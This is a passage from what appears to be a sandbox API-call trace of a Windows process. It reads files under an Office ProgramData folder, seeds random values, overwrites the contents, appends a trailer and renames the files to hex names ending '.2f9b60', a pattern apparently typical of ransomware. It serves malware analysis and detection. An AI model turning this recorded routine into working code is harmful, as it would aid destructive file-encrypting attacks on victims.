returned 0x423a1a00 [0166.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a00) returned 1 [0166.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f2f0 [0166.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a00 [0166.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a60 [0166.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a60) returned 1 [0166.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0166.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0166.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x423abdf0 [0166.172] SetFilePointerEx (in: hFile=0x1a94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.172] WriteFile (in: hFile=0x1a94, lpBuffer=0x423abdf0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x1c94fc90, lpOverlapped=0x0 | out: lpBuffer=0x423abdf0*, lpNumberOfBytesWritten=0x1c94fc90*=0x114, lpOverlapped=0x0) returned 1 [0180.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1c00 [0180.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce248a0 [0180.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265df0 [0180.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265df0) returned 1 [0180.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20265df0 [0180.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265dc0 [0180.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d60 [0180.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265d60) returned 1 [0180.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce248a0) returned 1 [0180.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1c00) returned 1 [0180.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ced1c00 [0180.791] sprintf (in: _Dest=0x1ced1c00, _Format="%c%c" | out: _Dest="d1") returned 2 [0180.791] sprintf (in: _Dest=0x1ced1c02, _Format="%c%c" | out: _Dest="0f") returned 2 [0180.791] sprintf (in: _Dest=0x1ced1c04, _Format="%c%c" | out: _Dest="cb") returned 2 [0180.791] sprintf (in: _Dest=0x1ced1c06, _Format="%c%c" | out: _Dest="37") returned 2 [0180.791] sprintf (in: _Dest=0x1ced1c08, _Format="%c%c" | out: _Dest="cd") returned 2 [0180.791] sprintf (in: _Dest=0x1ced1c0a, _Format="%c%c" | out: _Dest="0c") returned 2 [0180.791] sprintf (in: _Dest=0x1ced1c0c, _Format="%c%c" | out: _Dest="ee") returned 2 [0180.791] sprintf (in: _Dest=0x1ced1c0e, _Format="%c%c" | out: _Dest="a3") returned 2 [0180.791] sprintf (in: _Dest=0x1ced1c10, _Format="%c%c" | out: _Dest="44") returned 2 [0180.791] sprintf (in: _Dest=0x1ced1c12, _Format="%c%c" | out: _Dest="a5") returned 2 [0180.791] sprintf (in: _Dest=0x1ced1c14, _Format="%c%c" | out: _Dest="28") returned 2 [0180.791] sprintf (in: _Dest=0x1ced1c16, _Format="%c%c" | out: _Dest="54") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c18, _Format="%c%c" | out: _Dest="a0") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c1a, _Format="%c%c" | out: _Dest="56") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c1c, _Format="%c%c" | out: _Dest="db") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c1e, _Format="%c%c" | out: _Dest="c9") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c20, _Format="%c%c" | out: _Dest="31") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c22, _Format="%c%c" | out: _Dest="3f") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c24, _Format="%c%c" | out: _Dest="3a") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c26, _Format="%c%c" | out: _Dest="6d") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c28, _Format="%c%c" | out: _Dest="a3") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c2a, _Format="%c%c" | out: _Dest="fc") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c2c, _Format="%c%c" | out: _Dest="9e") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c2e, _Format="%c%c" | out: _Dest="48") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c30, _Format="%c%c" | out: _Dest="4d") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c32, _Format="%c%c" | out: _Dest="bf") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c34, _Format="%c%c" | out: _Dest="c2") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c36, _Format="%c%c" | out: _Dest="ca") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c38, _Format="%c%c" | out: _Dest="ad") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c3a, _Format="%c%c" | out: _Dest="31") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c3c, _Format="%c%c" | out: _Dest="b7") returned 2 [0180.792] sprintf (in: _Dest=0x1ced1c3e, _Format="%c%c" | out: _Dest="f5") returned 2 [0180.793] sprintf (in: _Dest=0x1ced1c40, _Format="%c%c" | out: _Dest="7f") returned 2 [0180.793] sprintf (in: _Dest=0x1ced1c42, _Format="%c%c" | out: _Dest="42") returned 2 [0180.793] RtlInitAnsiString (in: DestinationString=0x1c94fd08, SourceString="d10fcb37cd0ceea344a52854a056dbc9313f3a6da3fc9e484dbfc2caad31b7f57f42" | out: DestinationString="d10fcb37cd0ceea344a52854a056dbc9313f3a6da3fc9e484dbfc2caad31b7f57f42") [0180.793] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c94fcd8, SourceString="d10fcb37cd0ceea344a52854a056dbc9313f3a6da3fc9e484dbfc2caad31b7f57f42", AllocateDestinationString=1 | out: DestinationString="d10fcb37cd0ceea344a52854a056dbc9313f3a6da3fc9e484dbfc2caad31b7f57f42") returned 0x0 [0180.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027b370 [0180.793] RtlFreeAnsiString (AnsiString="d") [0180.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1c00) returned 1 [0180.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265df0) returned 1 [0180.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265dc0) returned 1 [0180.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423abdf0) returned 1 [0180.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f2f0) returned 1 [0180.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a00) returned 1 [0180.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9efb0) returned 1 [0180.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a30) returned 1 [0180.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266180) returned 1 [0180.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202661e0) returned 1 [0180.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266210) returned 1 [0180.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x2027b230 [0180.798] wcscat (in: _Dest=0x2027b230, _Source="d10fcb37cd0ceea34" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d10fcb37cd0ceea34") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d10fcb37cd0ceea34" [0180.798] wcscat (in: _Dest=0x2027b230, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d10fcb37cd0ceea34.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d10fcb37cd0ceea34.2f9b60" [0180.798] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d10fcb37cd0ceea34.2f9b60", NtPathName=0x1c94fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d10fcb37cd0ceea34.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0180.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x42c36d50 Thread: id = 1699 os_tid = 0xb3c [0130.714] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll")) returned 0x2020 [0130.719] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.720] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a98 [0130.721] GetFileSizeEx (in: hFile=0x1a98, lpFileSize=0x2061fb40 | out: lpFileSize=0x2061fb40*=16736) returned 1 [0130.721] SetFilePointerEx (in: hFile=0x1a98, liDistanceToMove=0x415c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.721] ReadFile (in: hFile=0x1a98, lpBuffer=0x2061fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2061fb08, lpOverlapped=0x0 | out: lpBuffer=0x2061fac0*, lpNumberOfBytesRead=0x2061fb08*=0x4, lpOverlapped=0x0) returned 1 [0130.723] SetFilePointerEx (in: hFile=0x1a98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202660f0 [0130.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202661b0 [0130.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266240 [0130.724] NtQuerySystemTime (in: CurrentTime=0x2061fa00 | out: CurrentTime=0x2061fa00*=132462177359614000) returned 0x0 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x69a9de0d [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x21c74b0b [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x17dcef3d [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x6da01be6 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x4e85dc1a [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x28efdc2 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0xd668142 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x23e6a47c [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x3cf92d8a [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x843f5c4 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x1e5d2171 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x70cab2c4 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x76d56d9a [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x79c86f06 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x1b19b9d4 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x4727e9aa [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x7abc8291 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x2d1271f8 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0xd8bfd88 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x763728f1 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x297bb04f [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x618ca175 [0130.724] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x7304c8fb [0130.725] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x6fe83146 [0130.725] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x52772d76 [0130.725] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x5d73a5cd [0130.725] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x4d6930ba [0130.725] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x70389e7 [0130.725] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x51da238c [0130.725] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x400fcef5 [0130.725] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x3f55f90 [0130.725] RtlRandomEx (in: Seed=0x2061f9f0 | out: Seed=0x2061f9f0) returned 0x769592a2 [0130.738] SetFilePointerEx (in: hFile=0x1a98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.738] ReadFile (in: hFile=0x1a98, lpBuffer=0x204b3b80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2061fa60, lpOverlapped=0x0 | out: lpBuffer=0x204b3b80*, lpNumberOfBytesRead=0x2061fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0130.741] SetFilePointerEx (in: hFile=0x1a98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0130.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867940 [0130.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202660f0 [0130.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202660f0) returned 1 [0130.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2047f2a0 [0130.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202660f0 [0130.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266240 [0130.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266240) returned 1 [0130.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0130.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0130.743] WriteFile (hFile=0x1a98, lpBuffer=0x2047f2a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2061fa60, lpOverlapped=0x0) [0180.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2047f2a0) returned 1 [0180.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204b3b80) returned 1 [0180.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9eb70 [0180.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0180.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0180.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7110 [0180.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7110) returned 1 [0180.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f030 [0180.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7110 [0180.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0180.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0180.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0180.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0180.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x42c14510 [0180.066] SetFilePointerEx (in: hFile=0x1a98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.066] WriteFile (in: hFile=0x1a98, lpBuffer=0x42c14510*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2061fb10, lpOverlapped=0x0 | out: lpBuffer=0x42c14510*, lpNumberOfBytesWritten=0x2061fb10*=0x116, lpOverlapped=0x0) returned 1 [0199.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0199.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0199.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1a0 [0199.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1a0) returned 1 [0199.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4205a1a0 [0199.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0199.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a110 [0199.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a110) returned 1 [0199.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0199.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0199.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1b859390 [0199.685] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="f6") returned 2 [0199.685] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="d6") returned 2 [0199.685] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="78") returned 2 [0199.685] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="98") returned 2 [0199.685] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="48") returned 2 [0199.686] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="88") returned 2 [0199.686] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="72") returned 2 [0199.686] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="aa") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="93") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="b0") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="9e") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="e4") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="95") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="71") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="d2") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="d5") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="70") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="e8") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="23") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="5f") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="83") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="e3") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="52") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="85") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="cc") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="81") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="33") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="48") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="9d") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="77") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="6f") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="4b") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="bb") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="3b") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="83") returned 2 [0199.686] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="19") returned 2 [0199.686] RtlInitAnsiString (in: DestinationString=0x2061fb88, SourceString="f6d67898488872aa93b09ee49571d2d570e8235f83e35285cc8133489d776f4bbb3b8319" | out: DestinationString="f6d67898488872aa93b09ee49571d2d570e8235f83e35285cc8133489d776f4bbb3b8319") [0199.687] RtlAnsiStringToUnicodeString (in: DestinationString=0x2061fb58, SourceString="f6d67898488872aa93b09ee49571d2d570e8235f83e35285cc8133489d776f4bbb3b8319", AllocateDestinationString=1 | out: DestinationString="f6d67898488872aa93b09ee49571d2d570e8235f83e35285cc8133489d776f4bbb3b8319") returned 0x0 [0199.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20509490 [0199.687] wcscat (in: _Dest=0x20507d70, _Source="f6d67898488872aa93" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f6d67898488872aa93") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f6d67898488872aa93" [0199.687] wcscat (in: _Dest=0x20507d70, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f6d67898488872aa93.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f6d67898488872aa93.2f9b60" [0199.688] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f6d67898488872aa93.2f9b60", NtPathName=0x2061fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f6d67898488872aa93.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1070c0 Thread: id = 1700 os_tid = 0xa64 [0130.740] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll")) returned 0x2020 [0130.746] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.748] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a9c [0130.749] GetFileSizeEx (in: hFile=0x1a9c, lpFileSize=0x2130f6a0 | out: lpFileSize=0x2130f6a0*=26976) returned 1 [0130.749] SetFilePointerEx (in: hFile=0x1a9c, liDistanceToMove=0x695c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.749] ReadFile (in: hFile=0x1a9c, lpBuffer=0x2130f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2130f668, lpOverlapped=0x0 | out: lpBuffer=0x2130f620*, lpNumberOfBytesRead=0x2130f668*=0x4, lpOverlapped=0x0) returned 1 [0130.759] SetFilePointerEx (in: hFile=0x1a9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266240 [0130.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202662d0 [0130.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266300 [0130.760] NtQuerySystemTime (in: CurrentTime=0x2130f560 | out: CurrentTime=0x2130f560*=132462177360082000) returned 0x0 [0130.760] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x33b959b9 [0130.760] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x38cf0e19 [0130.760] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x6575450d [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x6ca9a542 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x68ca42ed [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x5161568f [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x38cabdbb [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x49b37b2d [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x4158f566 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x301f1ec1 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x5c126110 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x7ee37280 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x428505a6 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) returned 0x8b2861 [0130.761] RtlRandomEx (in: Seed=0x2130f550 | out: Seed=0x2130f550) 